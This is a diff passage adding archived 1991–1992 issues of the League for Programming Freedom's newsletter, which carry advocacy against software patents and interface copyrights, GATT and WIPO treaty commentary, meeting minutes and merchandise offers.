issues. I spoke seven times +in three cities: Corvallis & Portland, OR and Seattle, WA. Audiences included +user groups, companies, and a technical book store seminar series. + I solicited sponsors and dates by e-mailing to people in OR/WA and asking +them to put me in touch with likely sites. These people included friends, LPF +members (ask league@prep.ai.mit.edu) and GNU volunteers (ask +gnu@prep.ai.mit.edu). A local sponsor handled publicity based on an abstract +of the talk I provided. Methods used included postings to company mailing +lists and regional USENET newsgroups, flyers, articles in company and store +newsletters, and newspaper announcements and ads. + I prepared a 40 minute talk on both LPF issues from our newsletters and +two position papers, which left plenty of time for questions (which were often +answerable from material in the position papers that I didn't have time to +cover). + When I do this next time, I'll vacation in a different month. Many +colleges are between terms at the end of August and the academic crowds were a +bit thin. + I'd like to thank all my hosts and audiences, and in particular my lady's +parents. + I urge more of you to try speaking about our issues. It's a fun, +interesting and easy way to help our cause. <> + + <><><><><>Speakers<><><><><> + + Richard Stallman has been doing another wave of speeches, in the United +States and Europe from late Sept. through mid--Nov. First four talks in the +Southwest, in Albuquerque, Los Alamos, Las Vegas, and Tucson; then three in +the Midwest, in La Crosse, Madison, and Minneapolis. The talk in Las Vegas +was designed to find more helpers for the League's COMDEX activities. + Then he went to Italy, France, and England for eight more talks and for +meetings with members of Parliament in Italy and France. With luck, LPF +organizations in Italy and France will be started by this trip. <> + + <><><><><>Speaking Volunteers<><><><><> + + Our members have often said that the LPF isn't visible enough. We agree +and are taking steps to change that, including finding more volunteer +speakers, establishing an online LPF online library, and a regular newsletter. + Besides editing this newsletter, I also serve as LPF coordinator, in +which capacity I run the speaker bureau. Richard M. Stallman and Len Tower +have done the bulk of our speaking engagements to date, but cannot be +everywhere at once. Our cloning attempts, despite Richard's views on copying, +have not yet succeeded. We would like more volunteers, with or without +previous experience, to speak to people around the world and inform them about +the software look-and-feel and patent issues. Anyone who would like to speak +about the LPF's positions, or who wants an LPF person to speak to their group, +please contact me at: spiker@prep.ai.mit.edu. + For instance, our President, Jack Larsen, can be reached at 708-698-1160, +FAX at 708-698-6221 (Park Ridge, IL), or email at jl@epsilon.eecs.nwu.edu. He +would be happy to explain the legal issues and status of court cases and +treaties to groups in the region. "I will go anywhere if travel expenses are +provided. If not, I can cover "Chicagoland", 12 million people from Milwaukee +WI to Gary IN." + Spike R. MacPhee + + <><><><><>Conference Volunteers<><><><><> + + We want more volunteers to hand out League materials and position papers +at computer conferences and meetings around the country and the world. +Contact league@prep.ai.mit.edu to request materials. + + <><><><><>Conference Report<><><><><> + + The LPF at Fall COMDEX '91 --==-- by Chris Hofstader, LPF Secretary + + This is the third consecutive year that Gordon Schantz and I have worked +the Fall COMDEX show for the LPF and easily the single most successful. + In previous years the reactions to "Hi, I'm Chris Hofstader, officer, +director and cofounder of the League for Programming Freedom..." were: + 1989 - "League for what?" or "What Freedom?" or "So?" + 1990 - "We appreciate your efforts but please don't let anyone see you + with us." or "Is that GNU?" or "Isn't that Kapor's group?" + Now I can report that the visibility and respectability of the LPF has +grown profoundly. At one point we had everybody in Borland's, Microsoft's, +Stuart Alsop's, and Windows World Magazine's booths wearing LPF "fanged apple" +badges. + Thanks to our ten volunteers, an organization as small as the LPF had +terrific visibility. Even the hostess at the Las Vegas Hilton coffee shop was +distributing our buttons. More seriously, I was invited to many private +parties and had access to many people who lead the industrial side of this +business. The response was very positive. We will see more League publicity +and corporate support as a result. <> + + <><><><><>Article<><><><><> + + COPYING IN THE NEW WORLD ORDER --==-- by Jack Larsen, LPF President + + We are told that we are living in a "new world order". In 1992 the +European Community will be one trading entity, and a real factor for Americans +who would trade abroad. Multinational companies welcome the reduction in +legal formalities regarding patents, trade marks and copy rights. What is not +so obvious is that the proliferation of trade treaties has a direct impact on +our internal law. + The battle for programming freedom has been elevated from the U.S. +District Court in Boston to the world stage; meanwhile Borland, the U.S. +Copyright Office, and ten prominent professors of copyright law have asked the +District Court to reconsider its Paperback decision of last year. + The International Agenda is marked by a number of developments which are +approaching international agreement. The first is an extensive amendment of +the heretofore innocuous Treaty of Paris which is intended to "harmonize" the +patent systems of the world. This treaty and the Berne Convention on +Copyright are both administered by the World Intellectual Property +Organization (WIPO). This treaty has been under consideration for several +years. A first session of the Diplomatic Conference was concluded in June, +and a second session is to be scheduled after conclusion of the Uruguay Round +trade talks in the GATT. The General Agreement on Tariffs and Trade, and the +trade agreements thereunder are the second major development. The U.S. +Congress has approved a "fast track" process to expedite approval for +agreements in the Uruguay involving patents. + New Trade agreements call for stringent reciprocal enforcement of +intellectual property "protection". Recent negotiations with China became +stalled by the U.S. insistence on criminal penalties for software copying. +This may be the rationale behind inclusion in the "Violent Crimes Act" passed +by the Senate of long jail terms for copying software. + Thirdly, the U.S. Commissioner of Patents and Trademarks has appointed an +Advisory Commission on Patent Law Reform the purpose of which according to +Commissioner Manbeck is to help "consensus forming" for the treaty. + In the first session of the Diplomatic Conference the United States was +alone to oppose the first-to-file rule of Article 9 of the Treaty. Article 10 +which provided that "Patent protection shall be available for inventions, +whether they concern products or processes in all fields of technology." was +not supported, and remains for resolution in the second session. This raises +the hope that computer programs may be excluded from patent protection. All +in all Commissioner Manbeck did not encourage the delegates to expect the +United States to make fundamental changes in its laws, "unless others can +likewise agree to satisfy our needs." + An American delegate reporting on the meeting concluded: "It is apparent +that the likelihood of concluding a treaty in this area which, in its +totality, would be acceptable to the United States will require the United +States to embrace a first-to-file system of awarding patents". It has always +been under stood that the language of the Constitutional Grant bars the +adoption of a first-to-file system. If the Advisory Commission can help the +Commissioner convince the public that the gains from the treaty will outweigh +the damage to the Constitution, the treaty will make it all possible... + ...Until the new world order, our commercial treaties did not challenge +settled constitutional rights... + ...Congress itself was moved to create a special new kind of +monopoly...the Semiconductor Chip Protection Act of 1984, creating a new kind +of intellectual property not authorized by the copyright and patent clauses of +the Constitution, + The new Act provides for registration with the Copyright Office and +provides a term of protection limited to ten years. This law aimed at the +emerging semiconductor giants of the Pacific Rim was clearly to be +international in scope, and intended that in any challenge to the +constitutionality of the law, there would be a treaty to support the creation +of the new monopolies...The Diplomatic Conference convened by the World +Intellectual Property Organization (WIPO) in May 1989, adopted a "Treaty on +Intellectual Property in respect of integrated circuits". This new treaty was +approved by the votes of 49 nations. However, the United States and Japan +voted against the text finally approved. Both countries would not approve the +draft provisions for the requirement of "non-voluntary licenses" under certain +circumstances of National import. The U.S. and Japan control around 90 +percent of the world production and trade in semiconductors. + The treaty is available to the United States if it is ever needed. It +has importance for several reasons. First, it is an example of the +internationalization of the creation of a new kind of monopoly. Secondly the +Treaty was prepared in a very short time, even before most countries +legislated on the matter. + Thirdly, while apparently of very narrow scope the negotiations were led +by the United States establishing precedents for other areas of intellectual +property and giving a new role in the field to GATT. Fourth, it contains +rules for the settlement of disputes applicable to GATT and other intellectual +property contexts, and finally developing nations took an active role in the +negotiations. This treaty provided a laboratory for the drafting of a new and +wide-ranging treaty purporting to harmonize patent laws between nations. It +shows the way to create new monopolies ,,,covering whatever line of +manufacture, trade or business which may be wrapped in a treaty package. + A New WIPO treaty was the subject of a "Diplomatic Conference begun June +3, 1991 at The Hague, and now adjourned. While seemingly technical, and not +commanding the attention of policy makers outside of the core of "experts", +patent attorneys, multinational corporations, and patent office bureaucrats, +this new Treaty has a potential for reversing fundamental principles of +American Patent law. + It does not represent mature thought on such problems as software +patents, the patentability of life forms, the standards of invention and +novelty and the duration of the monopo lies. The planned WIPO patent +harmonization treaty will cause serious problems for software developers in +the United States and wherever it is adopted. The treaty would both aggravate +the problem (by making patents last longer) and withdraw presently available +remedies, not the least of which is an appeal to the Supreme Court. That Court +has held many computer programs to be unpatentable as following outside of the +"useful arts"; but the treaty would include "all fields of technology". +Another provision of the treaty would make matters worse, by making patents +last longer, extending the life of a patent to 20 years or more. In an age +when the rapid advance of technology makes most technology obsolete much more +quickly than in the past, it would make more sense (in most fields) to shorten +the duration of patents. + The proposed treaty would make patents easier to acquire, easier to +enforce, and broader in coverage. For example the patent on a method would +carry with it the product of that process, whether already known, or produced +by a non-infringing process, and may permit and require patenting subject +matter beyond the present constitutional power of the United States. + Software patents are a new experiment which is working out badly. The +United States should not make the experiment permanent before the results are +known. And the Executive Branch should not use the "FAST TRACK" ratification +process to withdraw the issue from the realm of public debate. Properly, the +patent system is not just to encourage inventors, not just to enrich +entrepreneurs, not just to keep lawyers busy, its purpose is to "promote +science and the useful arts" for all of us by the teaching of the inventions +and discoveries. As the time for signing this treaty approaches, it is well +past time for the general bar, and the citizenry to be made aware of what is +afoot... + "Strict constructionists" and "original intent diviners" offer the +gadgeteers no more hope. As Justice O'Connor points out: "Today's patent +statute is remarkably similar to the law as known to Jefferson in 1793". The +original intent of the signatory states is to be found in the patent laws of +the colonies, which illuminate what is penumbra in the Constitution's patent +clauses. The founding fathers were gentry in an agricultural country. Well +aware of the burden of Crown imposed monopolies, Congress required in the very +first patent act that the invention be "sufficiently useful and important" to +merit the 14 year right of exclusion under that act. After the Court examined +the premises in Bonito Boats, it is clear that it will not repeal 200 years of +the American patent system, which for much of that time led the world. But +the pressure by the peddlers of gadgets and the titans of industry for new, +cheaper, and more broadly applied monopolies is unrelenting. For them a +better way has been found. A way that takes the Supreme Court, and the House +of Representatives out of the loop. The revision of the Treaty of Paris, to +be considered by WIPO in the Second Half of the Diplomatic Conference begun +this year at The Hague, and adjourned to a time next year and place yet to be +announced. The treaty would impose an increased minimum term for patents, +highly inappropriate in view of the accelerated pace of science and +technology. It would grant patents to the first-to-file, rather than the +first inventor, thus diverting into a race to the Patent Office, energy which +better may be devoted to science. + The delegates to the several meetings of "Experts" leading up to this +Conference, with few exceptions have been patent professionals, wholly +unprepared to appreciate the economic and social impact of the patent system, +concerned only with the cost and efficiency of extracting the monopolies from +the governments. With the new Budget bill, our Patent and Trademark Office is +to be funded by "user fees". The Patent Offices of the World, by this +proposed treaty, would be combined by the special patent tribunals of the +world joined in this device "to get a broader, looser conception of patents +than the Constitution contemplates", again to rephrase Mr. Justice Douglas. + The indirect cost of patent monopolies, like the cost of the Savings and +Loan mess is "off budget" but it should not be ignored. The indiscriminate +creation of exclusive privileges through cheap and easy patents, in the words +of Justice Bradley a century ago: "creates a class of speculative schemers who +make it their business to watch the advancing wave of improvement, and gather +its foam in the form of patented monopolies, which enable them to lay a heavy +tax upon the industry of the country, without contributing anything to the +real advancement of the arts. It embarrasses the hones pursuit of business +with fears and apprehensions of concealed liens and unknown liabilities to +lawsuits and vexatious accountings for profits made in good faith." + In no area of technology has this scheming been more blatant than in the +proliferation of so-called "inventions" and patent applications involving +computer programs. Already the practical difficulty experienced by the Patent +and Trademark Office in the "examination" of such applications has resulted in +a de facto repeal of the Constitutionally mandated Section 103 of the law. In +the new world order those schemers will more likely be living and working in +Bombay, Bangkok, or Beijing, than in Canton, Cleveland, or Cincinnati. + ...Yet the treaty loop hole threatens our fundamental structure. The +greater iniquity is that a Treaty, unlike a statute or even the Constitution +cannot be amended, or its burdens ameliorated by the actions of our People or +our Congress. We will be held to the least-common-denominator of the world +community. <> + + <><><><><>LPF Boutique Materials Available from the League<><><><><> + Buttons + We have reprinted the famous ``fanged apple'' buttons. These buttons +show the symbol of Apple computer with an alien snake's body and face. + You can buy buttons by mail from the League, for $2 each, in quantities +of at least three. We give out buttons at events, but ask for a donation. + Stickers + We also have stickers showing Liberty Empowering the Programmer, with the +League's name and address. + You can order stickers by mail from the League at the price of $5 for 10 +stickers; for larger orders, phone us to discuss a price. We hand them out +free when it is convenient, such as at our events, but since mailing packages +to individuals costs money, we want to make it an opportunity to raise funds. + Post stickers at eye level and separated from other posted articles, to +make them easy to see. The stickers are not made to survive rain. + Liberty Postcards + We also have postcards showing Liberty Empowering the Programmer, with +the League's name and address. Same terms as the stickers. + Large Liberty Posters + We have a few posters with the same image that is on the stickers, +approximately 2.5 ft by 1.5 ft. We used such posters to make signs for the +protest rally. If you need some, talk with the League and we'll work out a +deal. Coffee Mugs + Our coffee mugs have the Fanged Apple design in full color on one side +and ``League for Programming Freedom'' on the other. They hold twelve ounces +and are microwave safe. Not available until Feb. 92. + You can order a mug for $10, nonmembers $12.. They will not be ready +until Jan 1992. T-Shirts + Michael Ernst has produced t-shirts with Liberty and ``League for +Programming Freedom'' on the front and ``Stop Software Monopolies'' on the +back. (The back slogan will change from time to time.) You can order shirts +by mail from the League for $12 (which includes $2 for mailing). Available +colors are yellow, blue and tan; if you specify a color, we will assume you +would rather have the other color than no shirt. If you want a chosen color +or nothing, say so explicitly. Please specify the shirt size! (M, L or XL.) + Position Papers and Memberships + We will send anyone a copy of the League position papers. If you want +other copies to hand out at an event, we'll send you as many as you need. +Please discuss your plans with us. One-year memberships are $42 for +professionals, $10.50 for students, and $21 for others <> + + <><><><><>Newsletter Volunteers<><><><><> + + We would like volunteers to work on the newsletter. Our special thanks +to Betty Lou McClanahan and Carol Botteron for proofreading and editing help +with this issue. Contact Programming Freedom at league@prep.ai.mit.edu + + + + + diff --git a/textfiles.com/magazines/LPF/lpf2.txt b/textfiles.com/magazines/LPF/lpf2.txt new file mode 100644 index 00000000..11384e57 --- /dev/null +++ b/textfiles.com/magazines/LPF/lpf2.txt @@ -0,0 +1,582 @@ + _______________________________________________________ + | | + | January 1992 -==- Volume I Number 2 | + | | + | PROGRAMMING FREEDOM - online edition | + | league@prep.ai.mit.edu | + | | + | The Electronic Newsletter of | + | The League for Programming Freedom | + | 1 Kendall Sq #143, POBox #9171, Cambridge MA 02139 | + | Phone: (617) 243-4091 (voicemail only-leave your | + |address or phone number, and we'll answer your query)| + | Editor: Spike R. MacPhee (spiker@prep.ai.mit.edu) | + | Reproduction of Programming Freedom via all | + | electronic media is encouraged. | + | To reproduce a signed article individually, | + | please contact the author for permission. | + |_____________________________________________________| + + <><><><><> TABLE OF CONTENTS <><><><><> + + Annual meeting minutes, election results: Board of Advisors approved +News: a Math Programming Society committee takes stand against patents + Help publicize the League by writing to magazines - Johnathan Vail +LPF magazine publicity: Jan CACM, Jan SunExpert, Feb Embedded Systems + Mail, localgroups, signature publicity + League-activists mailing list is now moderated + President Larsen speaks at Oct CPSR - Adam J Richter + LPF at ARISIA sf con in Boston - Johnathan Vail + LPF convention publicity + rms response to editor's comments on Nov Kennedy article + GATT Treaty Excerpts - commentary by Richard M. Stallman + Final results of the direct mailing experiment + LPF Boutique + + <><><> Annual meeting minutes; Board of Advisors approved <><><> + +Minutes of the 1991 Annual Meeting of the LPF + +Introduction: + +The following is the record of the League for Programming Freedom's +1991 annual meeting as reported by LPF Secretary Christian D. +Hofstader. The meeting was recorded by Sara Thompson, visual +assistant to Chris Hofstader. + +The Minutes: + +The meeting was called to order by Chris Hofstader at 20:15 on +December 15, 1991 at Tech Square, Cambridge, Massachusetts. As senior +officer in attendance Chris Hofstader chaired the meeting. + +First order of business was to take attendance and establish a quorum +of the directors and the membership. + +In attendance: + Directors: + Chris Hofstader + Steven Sisak + Richard Stallman + + Notable others: + Spike MacPhee - LPF coordinator + + 2 public members. + + Notable absentees: + Jack Larsen - LPF President + Guy Steele - Director + +Having three of the five directors established a quorum. The mail in +proxies established a quorum of the membership. + +The second order of business was the reading of the minutes of the +1990 annual meeting. This was done by Spike. + +The third order of business was the issue of whether to adopt a policy +governing the spending of LPF funds. Spike read the policy and a vote +of the Directors in attendance accepted the policy. The vote count +was 3 yes and 2 absent. Jack Larsen submitted an objection to the +policy prior to the meeting and also prior to the meeting Guy Steele +submitted his approval of the policy. For a copy of the policy send a +request to Spike. + +The fourth order of business was presented by Chris Hofstader who +offered to withdraw his resignation as Secretary and Director. The +vote was 3 in favor, 2 absent. Chris will remain as Secretary and +Director of the LPF. + +The board meeting portion of the annual meeting was declared over. + +The fifth order of business was a debate over the bylaws regarding the +ex officio director. The debate was over the meaning of the language +"immediate past president" and whether or not Richard Stallman still +had voting rights as a Director of the LPF. A motion was made to +change the bylaws to make this language more clear. It was decided +that this should be done at a special meeting of the board. + +The sixth order of business was a confirmation that an online copy of +the bylaws would soon be available. + +The seventh order of business was a report on the direct mailing +delivered by Spike MacPhee. Seven people joined at $75 to receive a +coffee mug, 3 people joined at the standard membership of $42, 1 +person joined as a student member $10.50 and 3 people sent us $1 for a +position paper. There were 2 people who complained about getting +mail. There was a net loss of $160 on the mailing. It was determined +that $160 was reasonable to reach 4000 people. + +There was a continued discussion of whether or not to use this tactic +again and which list we should use in the future. It was generally +decided that we likely will do another direct mailing. + +The eighth order of business was a discussion of local working groups. +We discussed how this may be implemented. + +The ninth order of business was a discussion of changing our voice +mail system. Ideas presented included leasing an actual office and +getting a voice mail/fax modem system in a computer. It was agreed +that we should remain using the gnu offices at MIT. The largest +problem concerning changing our service would be whether or not we +could maintain the same number. + +The tenth order of business was the Treasurer's report delivered by +Steve Sisak. The LPF's 1991 income was $27,585.12, the expenses for +the year totalled $15,805.50, the net annual income was 12,779.62. A +detailed report is available from Steve Sisak. [see expenses below] + +The eleventh order of business was a discussion of finding a lawyer +who would be more responsive to the relatively small needs of the LPF. +Steve Sisak was put in charge of this task. + +The twelfth order of business was a discussion of the taxes that we +need to pay. The rate that we will pay is 25% and the exact details +are being worked out by Steve Sisak along with our accountant and +lawyer. + +The thirteenth order of business was the annual election of officers, +directors and adoption of resolutions. With Richard Stallman +withdrawing from the election all officers and directors were running +unopposed and therefore were all elected. + + 1992 Officers: Biggest expenses 1992: + Jack Larsen - President 4076 printing + Christian D. Hofstader - Secretary 2573 op exps + Steve Sisak - Treasurer 2030 buttons, tshirts + Directors: 1630 coordinator pay + Les Earnest 792 direct mail postage + Chris Hofstader 604 postage + Jack Larsen (as president) 226 publicity + Steve Sisak 60 bank charges + Richard Stallman (ex officio) 13 office supplies + +The question to add a board of advisors passed 190 - 1, w/4 abstained. + +The final order of business was a statement for the record by Chris +Hofstader of his disappointment with the poor attendance at the annual +meeting. + +The meeting was adjourned at 22:30 EST. <> + + + <><><> News: MPS committee takes patent stand <><><> + +A committee of the Mathematical Programming Society has taken a stand +against patents and Steve Robinson sends a note about the appendices: + +As you might know,... we added as one of the appendices to our report +a paper by the League (with permission), and we gave in the report the +mail and email address for people to contact the League. I hope it +generates some interest. The appendices were printed in the special +issue of OPTIMA in which the report ran, but were not reprinted in the +SIAM NEWS. <> + + + <> Help publicize the League: write to magazines - Johnathan Vail <> + +In response to an article in Embedded Systems Programming magazine +about legal issues in programming I wrote a letter to point out the +importance of some issues I thought were glossed over. It was not a +flame or an argument but merely to point out that software patents are +the most important legal issue facing programmers. I mentioned +contacting the LPF for more information. + +The letter was published in the recent February 92 issue under the +column heading "Free Our Software". I am not sure what the title +refers to exactly since the first letter in the column was about +freedom of source code and mentioned the GNU philosophy. + +Anyway, many thanks to Daniel La Liberte, Michael Ernst, Paul Eggert, +Jonathan Ryshpan, and Greg Buzzard for their help in rewording and +proofreading. The published letter was a little changed but I haven't +diffed it to see exactly what. I don't think anything was deleted. + +The letter: + December 9, 1991 +Dear Sirs, + + This letter is in response to the recent cover article "Legal +Issues for Embedded Systems Developers" by Joel B. Gilman. The +article was a good overview of many legal issues faced by the software +industry today but glossed over the most serious one facing +programmers. + + This is the relatively new phenomenon (since 1981) of software +patents. The article only briefly mentioned one of the many concerns +raised by software and algorithm patents and did not mention any of +the arguments against their existing at all. Computer software is +different from physical inventions or processes and many people feel +it belongs in the realm of ideas or mathematical expression which is +not patentable. + + A single program may contain hundreds or thousands of algorithms +and techniques. Though a competent programmer can invent these on the +fly, some -- or possibly hundreds -- of these techniques may have +already been patented or, even worse, a patent may be pending. +Despite his independent discovery the programmer may be forced to pay +royalties or redesign his program in a less efficient way for each +"new" technique. It is not feasible to check for patents on every +technique in a computer program; to attempt to do so would be a large +burden on the software industry, driving software costs up sharply. + + This is just one of many reasons that software patents are a +serious threat to the software industry. I think a future article in +your magazine examining software patents would provide a substantial +service to the readers. Software patents can and will have a profound +affect on the individual programmer. + + I would suggest contacting the League for Programming Freedom. +This is an organization of programmers (as well as users, educators +and others) formed to protect the freedoms of programmers, primarily +from software patents and "look and feel" copyrights. The address is: + + [League address] + Sincerely, + Johnathan Vail <> + + +<>LPF Publicity: Jan CACM, Jan SunExpert, Feb Embedded Systems Prog<> + +The LPF patents paper was just printed in the January 1992 +Communications of the ACM. (They printed the interface copyright +paper in November 1990.) + +Member Rich Morin reports: + My January I/Opener column in SunExpert Magazine is entitled + "This Column May Be Illegal". It gives my own views on the + software patent and L/F copyright issues. It suggests that + folks contact (and preferably join) LPF. + +See Johnathan Vail's article above about writing to magazines for his +letter in Embedded Systems Programming magazine. <> + + <><><><><> Mail, localgroups, signature publicity <><><><><> + + An amusing suggestion from a person interested in joining, who +can't be identified for professional reasons: + +I wholeheartly agree with the column published in the January issue +of CACM. We must do something now to stop lawyers from bringing the +world to such a ridiculous state. By the way, has anybody ever thought +of patenting the patent process? This could be a good way to stop them +:-) + +And several frustrated readers of the 80 column last issue suggested +that we use the 70 column default for the on-line version. Ok, this +issue, we did. <> + +Local groups, please send us info about what you're doing. + +Putting LPF in your .sig signature is generating 2 or more info +requests to us each week. + +This issue came out on January 44; we still plan the next in March. <> + + <><> League-activists mailing list is now moderated <><> + +League-activists is now a moderated list to reduce extraneous traffic. + +This mailing list + league-activists@prep.ai.mit.edu and its' + two sub-lists: + league-activists-boston@prep.ai.mit.edu +and league-activists-remote@prep.ai.mit.edu should be used only +for members' requests for assistance in league projects, local or +nationally, or for announcements from LPF. + +These lists are filtered by a moderator to: + - insure this use; + - minimize the number of messages; + - remove items meant for the list's -request address; + - forward items that should have been sent to another list. + +League-tactics@prep.ai.mit.edu is for discussion of LPF directions and +is not moderated. + +To subscribe, change your eddress (email address), or be removed from +either list, please use: + + league-activists-request@prep.ai.mit.edu +or league-tactics-request@prep.ai.mit.edu + +We apologize for not removing people in a timely manner from League +lists. Spike wasn't on the -request lists; that has been fixed. <> + + + <> President Larsen speaks at Oct Berkeley CPSR by Adam J Richter <> + + I think 35 people attended Jack Larsen's speech at the Oct +meeting of the Berkeley chapter of Computer Professionals for Social +Responsibility. + + Larsen pretty much assumed that he was talking to LPF members, +so he didn't spend much time talking about why he thought software +patents and UI copyrights were bad. He spent most of the two hour +speech talking about more technical things like court decisions and +the status of various treaties. It was quite informative for the +other LPF members and me, but I don't think that we recruited many new +people. + Also, Larsen spoke against a few other forms of intellectual +property that the LPF doesn't have a position on (e.g., mask work and +normal patents). <> + + + <><><> LPF at ARISIA sf con in Boston - Johnathan Vail <><><> + +In late December I found myself signed up for a computer virus panel +at the ARISIA science fiction convention in Boston. One of my +accomplishments in the field has been the compilation a short glossary +of virus and virus related security terms that is posted occasionally +on the comp.virus newsgroup. For the panel I decided to print the +glossary as handouts for the panel. + +Since there was some space at the end I was trying to think of some +related graphics I could use to jazz up the handout. When I started +looking at my LPF "liberty" sticker I got the idea that I could use +the space as an advertisement for the lpf. I obtained permission to +do this and was pleased with the results. I hope it gave the LPF more +visibility and helped to make the "liberty" drawing a more +recognizable symbol for the league. + +For those that might be interested, the postscript and ASCII versions +of the glossary have been posted to comp.virus and comp.misc. <> + + + <><><> LPF publicity at recent conferences <><><> + +We had handouts and League material at the following recent +conventions thanks to our hard-working volunteers:: + +In Dec: 1992 Sun User Group (SUG) Conference in San Jose, CA + +In Jan: USENIX Winter 92 Technical Conference in San Francisco, CA + + NeXTWORLD EXPO in San Francisco, CA + + 6th Annual Tech Conf on the X Window System in Boston, MA <> + + + <><> Rms response to the editor's comments on Nov Kennedy piece <><> + + We are also trying to reach the public. Demonstrations will + get 10 seconds of broadcast time because of their visual nature, + +This protest was not covered by TV. But ordinary TV news coverage is +not very useful for us--they don't give any issue the time needed +to get our point across. + +However, this protest did result in at least 2 print media articles +(one in Boston Business Journal and one to come in Sun Expert.) And +there may be others too. + + while position papers never will. + +Protests and position papers are not alternatives; using one doesn't +interfere with using the other. + +We write articles as much as we see how. We get them published +whenever someone will publish them. Meanwhile, when we do a protest, +it gets us additional coverage. Every bit helps. + +Protests have another benefit: when they are easy to participate in, +they help keep up the enthusiasm of the people who participate. They +also provide an opportunity to inform other people at the event +itself, such as by handing out position papers--which we did. <> + + + <><> GATT Trade Treaty Threatens to Require Software Patents <><> + +For many years, international trade has been regulated by a treaty +known as GATT (General Agreement on Tariffs and Trade). Negotiations +are continuing for a revision of GATT. Unlike the previous versions, +the new version threatens to intrude into areas that have in the past +been considered domestic policy, including copyright and patents. + +The current working draft would require all countries that sign the +new treaty to have patents "in all fields of technology"--which must +include software techniques. It would also rule out all the ideas so +far proposed to protect software from patents or make the patent +system bearable for software developers. + +The treaty covers all aspects of international trade, and currently +the negotiations are deadlocked over the issue of agricultural +subsidies. It's possible that this disagreement will block the treaty +entirely. But perhaps there will be a compromise on agriculture; if +that happens, the entire treaty will be presented to each country as a +package deal. The pressure to accept it will be immense. + +If the US ratifies such a treaty, it would force sweeping changes in +US intellectual property law, and deny the US the option of reversing +them. This would take place without any consideration by the House of +Representatives, and the Senate will be unable to consider these laws +on their own merits as would normally happen. + +The US administration is responsible for negotiating the treaty and +has pressed hard for these very provisions. The administration has in +effect found a way to legislate by itself, depriving Congress of any +real opportunity to write the laws of the land. + +Here are brief excerpts from the treaty that show the problems it +causes: + + Article 27: Patentable Subject Matter + +1. Subject to the provisions of paragraphs 2 and 3 below, patents +shall be available for any inventions, whether products or processes, +in all fields of technology, provided that they are new, involve an +inventive step and are capable of industrial application... + +[Paragraphs 2 and 3 provide some exceptions, but none of them applies +to software.] + + Article 28: Rights Conferred + +1. A patent shall confer on its owner the following exclusive rights: + + (a) where the subject matter of a patent is a product, to prevent + third parties not having his consent from the acts of: + making, using, offering for sale, selling, or importing for + these purposes that product; + + (b) where the subject matter of a patent is a process, to prevent + third parties not having his consent from the act of using + the process... + +[This rules out any form of mandatory licensing scheme that might +mitigate the problem of patents.] + + Article 31: Other Use Without Authorisation of the Right Holder + + Where the law of a PARTY allows for other use3 of the subject +matter of a patent without the authorisation of the right holder, +including use by the government or third parties authorised by the +government, the following provisions shall be respected: + + (a) authorisation of such use shall be considered on its +individual merits; + + (b) such use may only be permitted if, prior to such use, the + proposed user has made efforts to obtain authorisation from + the right holder on reasonable commercial terms and conditions + and that such efforts have not been successful within a + reasonable period of time. This requirement may be waived by a + PARTY in the case of a national emergency or other + circumstances of extreme urgency or in cases of public + non-commercial use. + +[Exceptions in accord with these provisions will be very few.] + + (h) the right holder shall be paid adequate remuneration in the + circumstances of each case, taking into account the economic + value of the authorisation; + +[So it will be expensive for a government to make any sort of +exception.] + + Article 30: Exceptions to Rights Conferred + + PARTIES may provide limited exceptions to the exclusive rights +conferred by a patent, provided that such exceptions do not +unreasonably conflict with a normal exploitation of the patent and do +not unreasonably prejudice the legitimate interests of the patent +owner, taking account of the legitimate interests of third parties. + +[This would seem to rule out making an exception for software in the +scope of patents. Any exception for a program that would be used +widely would enable the patent holder to claim to have "lost" +signifigantly.] + + Article 33: Term of Protection + + The term of protection available shall not end before the +expiration of a period of twenty years counted from the filing date. + +[This requires an increase in the term of a US patent in many cases. +It also rules out the idea of making patents for software last for a +shorter term commensurate with the rate of progress.] <> + + <><><><><> Final results of the direct mailing <><><><><> + + $792.00 cost - postage for 4000 letters at 19.8 cents each. + $859.50 income as follows: + $450 mem + mugs - 6 + $126 mem regular - 3 + $250 mem + donation - 1 + $ 10.50 mem student - 1 + $ 10.00 donation - 1 + $ 3.00 info requests - 3 at $1 each + + $ 70 net gain plus eleven members <> + + <><><> LPF Boutique Materials Available from the League <><><> + + Buttons + We have reprinted the famous ``fanged apple'' buttons. These +buttons show the symbol of Apple computer with an alien snake's body +and face. + You can buy buttons by mail from the League, for $2 each, in +quantities of at least three. We give out buttons at events, but ask +for a donation. + Stickers + We also have stickers showing Liberty Empowering the Programmer, +with the League's name and address. + You can order stickers by mail from the League at the price of $5 +for 10 stickers; for larger orders, phone us to discuss a price. We +hand them out free when it is convenient, such as at our events, but +since mailing packages to individuals costs money, we want to make it +an opportunity to raise funds. + Post stickers at eye level and separated from other posted +articles, to make them easy to see. The stickers are not made to +survive rain. + Liberty Postcards + We also have postcards showing Liberty Empowering the Programmer, +with the League's name and address. Same terms as the stickers. + + Large Liberty Posters + We have a few posters with the same image that is on the +stickers, approximately 2.5 ft by 1.5 ft. We used such posters to +make signs for the protest rally. If you need some, talk with the +League and we'll work out a deal. + + Coffee Mugs + Our coffee mugs have the Fanged Apple design in full color on one +side and ``League for Programming Freedom'' on the other. They hold +twelve ounces and are microwave safe. Not available until Feb. 92. + You can order a mug for $10, nonmembers $12. They will not be +ready until Feb 1992 [and have just arrived]. + + T-Shirts + Michael Ernst has produced t-shirts with Liberty and ``League for +Programming Freedom'' on the front and ``Innovate, Don't Litigate'' on +the back. (The back slogan will change from time to time.) You can +order shirts by mail from the League for $12 (which includes $2 for +mailing). Available colors are yellow, blue and peach; if you specify +a color, we will assume you would rather have the other color than no +shirt. If you want a chosen color or nothing, say so explicitly. +Please specify the shirt size! (M, L or XL.) + + Position Papers and Memberships + We will send anyone a copy of the League position papers. If you +want other copies to hand out at an event, we'll send you as many as +you need. Please discuss your plans with us. One-year memberships +are $42 for professionals, $10.50 for students, and $21 for others. +The dues are $100 for an institution with up to three employees, $250 +for an institution with four to nine employees, and $500 for an +institution with ten or more employees. For $5000, an institution can +be a sponsor rather than a member. We have 10 inst. members, now. + + League Papers Online +You can retrieve LPF written materials by anonymous ftp from +prep.ai.mit.edu in the directory /pub/lpf. These include the position +papers, membership form, handouts, friends of the court briefs, and +articles about the LPF's issues of concern. + + League Video Cassettes +We have video tapes of some of Richard Stallman's speeches for the +LPF. If you'd like to give LPF speeches, we can send you copies of +these tapes to give you an example to learn from. If you'd like +copies for another purpose, we can send them for $20 each. <><><> + + <><><> End of Jan 1992 Programming Freedom <><><> + diff --git a/textfiles.com/magazines/LPF/lpf3.txt 